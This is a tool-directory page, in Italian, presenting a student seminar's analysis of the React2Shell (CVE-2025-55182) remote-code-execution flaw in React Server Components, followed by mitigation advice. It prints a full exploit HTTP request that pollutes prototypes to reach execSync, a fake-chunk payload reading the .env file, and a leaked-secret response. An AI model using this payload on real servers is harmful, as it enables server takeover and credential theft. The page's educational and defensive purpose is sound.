Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
tech-seminar-React2Shell — [Nostra FISA] Vincita del seminario tecnico - Squadra 3, 6ª generazione sviluppo servizi cloud - React2Shell (CVE-2025-55182) Analisi e ricerca | Kitploit
Strumenti/GitHubGitHub/woorifisa-service-dev-6th/tech-seminar-react2shell
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPaper e RicercaApprendimento e FormazioneSviluppo Payload
GitHubwoorifisa-service-dev-6th/tech-seminar-react2shell

tech-seminar-React2Shell

[Nostra FISA] Vincita del seminario tecnico - Squadra 3, 6ª generazione sviluppo servizi cloud - React2Shell (CVE-2025-55182) Analisi e ricerca

Vedi Repository
126 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

React2Shell (CVE-2025-55182)

Seminario tecnico FISA 6ª edizione - Team 3 Analisi e ricerca della vulnerabilità Remote Code Execution (RCE) che sfrutta un difetto di progettazione dei React Server Component (RSC), React2Shell

Team

Foto della vittoria

MembroRuoloGitHub
Nam InseoRicerca materiali, Realizzazione PPT, Presentazione@sene03
Yoo SeungjunRicerca materiali, Realizzazione PPT, Presentazione@fluanceifi
Lee SoohyunRicerca materiali, Realizzazione PPT@hyun793
Kim YujeongRicerca materiali, Realizzazione PPT@yujung23

Indice (Sommario)

  1. 01. Panoramica: cos'è React2Shell?
  2. 02. Meccanismo dell'attacco React2Shell
  3. 03. Impatto di React2Shell
  4. 04. Responsabilità della sicurezza nel front-end

01. Panoramica: cos'è React2Shell?

React2Shell (CVE-2025-55182) è una grave vulnerabilità di sicurezza scoperta nel processo di comunicazione del Flight Protocol utilizzato dai React Server Component (RSC).

  • Problema chiave: Un attaccante può eseguire comandi interni sul server con una singola richiesta HTTP senza autenticazione.
  • Gravità: Punteggio CVSS 10.0
  • Causa: Prototype Pollution durante la deserializzazione di dati non attendibili.

Difetti di progettazione del Flight Protocol

React utilizza il Flight Protocol che supporta tipi complessi come Promise, Blob, Map oltre a stringhe e array per elaborare i componenti.

EspressioneTipoDescrizione
$$$ escapedStringa letterale che inizia con $
$@Promise/ChunkRiferimento a ID Chunk

L'attaccante sfrutta le vulnerabilità di questo metodo di elaborazione del flusso del protocollo per iniettare script dannosi e ottenere il controllo del server.

Timeline

  • 2025.11.29: Prima segnalazione tramite Meta Bug Bounty
  • 2025.11.30: Conferma dal team di sicurezza e inizio collaborazione con il team React
  • 2025.12.01: Sviluppo del codice della patch e verifica da parte dei partner (Vercel, ecc.)
  • 2025.12.03: Distribuzione della patch e divulgazione CVE

02. Meccanismo dell'attacco React2Shell

  • Il metodo di attacco più comune sfrutta il sistema di riferimento del React Flight Protocol senza alcuna precondizione.
  • L'attacco si compone di tre fasi: Installazione della bomba (invio del payload) → Innesto (deserializzazione) → Esplosione (esecuzione RCE).

1) Installazione della bomba

L'attaccante invia dati JSON al server tramite una richiesta che include le intestazioni Next-Action e multipart/form-data. In questa richiesta, include un chunk falso (Fake Chunk) mascherato da oggetto Promise nel corpo.

root@kitploit:~
POST / HTTP/1.1
Host: localhost: 3000

[... altri header omessi ...]

Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW

------WebKitFormBoundary7MA4YWxkTrZu0gW

Content-Disposition: form-data; name="0"
{"then": "$1: __proto__: then", "status": "resolved_model" , "reason": -1, "value": "{\"then\": \"$B0\"}" , "_response":
f"_prefix": "var res = process mainModule.require('child_process'). execSync('comando da eseguire',
{'timeout': 5000}). toString(). trim(); throw Object.assign(new Error( 'NEXT_REDIRECT'), {digest: ${res} });" {"get":"$1: constructor: constructor"}}}

------WebkitFormBoundary7MA4YWxkTrZu0gW

Content-Disposition: form-data; name="1"
"$@0"

------WebKitFormBoundary7MA4YWxkTrZu0gW--
'_formData":

2) Innesto

root@kitploit:~
// Esempio di chunk falso inviato dall'attaccante
{
	"then" : "$1:__proto__:then"
	"status" : "resolved_model",
	"reason" : -1,
	"value" : "{\"then\":\"$B0\"}",
	"_response" : {
		"_prefix": "execSync('cat .env'); //",
		"_formData":{"get": "$1:constructor:constructor"}
	}
}
  1. Il then del chunk falso inviato dall'attaccante viene mappato a Chunk.prototype.then.
  2. Durante la deserializzazione dei dati Blob, il codice maligno in _prefix viene passato come argomento di Function.
  3. Nel momento in cui la funzione generata viene chiamata come thenable della Promise, il codice arbitrario inserito dall'attaccante viene eseguito sul server.

3) Esplosione

root@kitploit:~
// Esempio di risposta alla richiesta POST
500
0:{"a":"$@1","f":"","b":"sDAZnkg0U4tReIQ4vYjJS"}
1:E{"digest":**"DATABASE_URL='...'"**}

Causa principale

root@kitploit:~
// ReactFlightReplyServer.js - getOutlinedModel() 
for (let i = 1; i < path.length; i++) {
  value = value[path[i]];  // Manca il controllo hasOwnProperty qui!
}
  • Quando React interpreta un riferimento nella forma $1:path:to:value, spezza la stringa in base ai due punti (:) e naviga all'interno dell'oggetto.
  • In questo processo, interpretando $1:__proto__:then, si può accedere al prototipo del chunk e al then di quell'oggetto (Chunk.prototype.then).
  • Alla fine, il chunk falso inviato dall'attaccante ottiene il then del chunk reale, eseguendo il codice intenzionale dell'attaccante.

03. Impatto di React2Shell

Questa vulnerabilità ha causato grandi onde d'urto in tutto l'ecosistema web moderno.

  • Impatto sulla fiducia dei server component: Ha innescato il dibattito: "Un framework front-end dovrebbe occuparsi anche della sicurezza del server?"
  • Emergenza sulle piattaforme di hosting: I principali fornitori PaaS che supportano RSC come Vercel, Netlify hanno effettuato patch di sicurezza urgenti.

04. Responsabilità della sicurezza nel front-end

L'incidente React2Shell ha lasciato l'insegnamento: "Anche gli sviluppatori front-end devono comprendere la sicurezza lato server".

Misure di risposta

1. Aggiornare immediatamente i pacchetti React correlati

Aggiornare immediatamente i pacchetti correlati come react-server-dom-webpack all'ultima versione (19.0.1+ ecc.)

2. Verificare la presenza di patch del framework

I framework che incorporano RSC come Next.js non vengono risolti semplicemente aggiornando React; è necessario controllare le note di rilascio di sicurezza del framework stesso e aggiornare all'ultima versione.

3. Monitoraggio

Utilizzare sistemi di monitoraggio come Grafana e collegarli a canali di notifica come email, Slack per impostare allarmi in modo da poter intraprendere azioni immediate.

Con l'espansione del campo del front-end grazie ai progressi tecnologici, dobbiamo riconoscere che anche l'ambito di responsabilità per la sicurezza si è ampliato.


Riferimenti

React Official Patch

React2Shell: Guida completa all'analisi della vulnerabilità CVE-2025-55182

Analisi della vulnerabilità dei React Server Component e del percorso di penetrazione del sistema

PoC: Codice di prova di concetto della vulnerabilità

Scarica lo strumento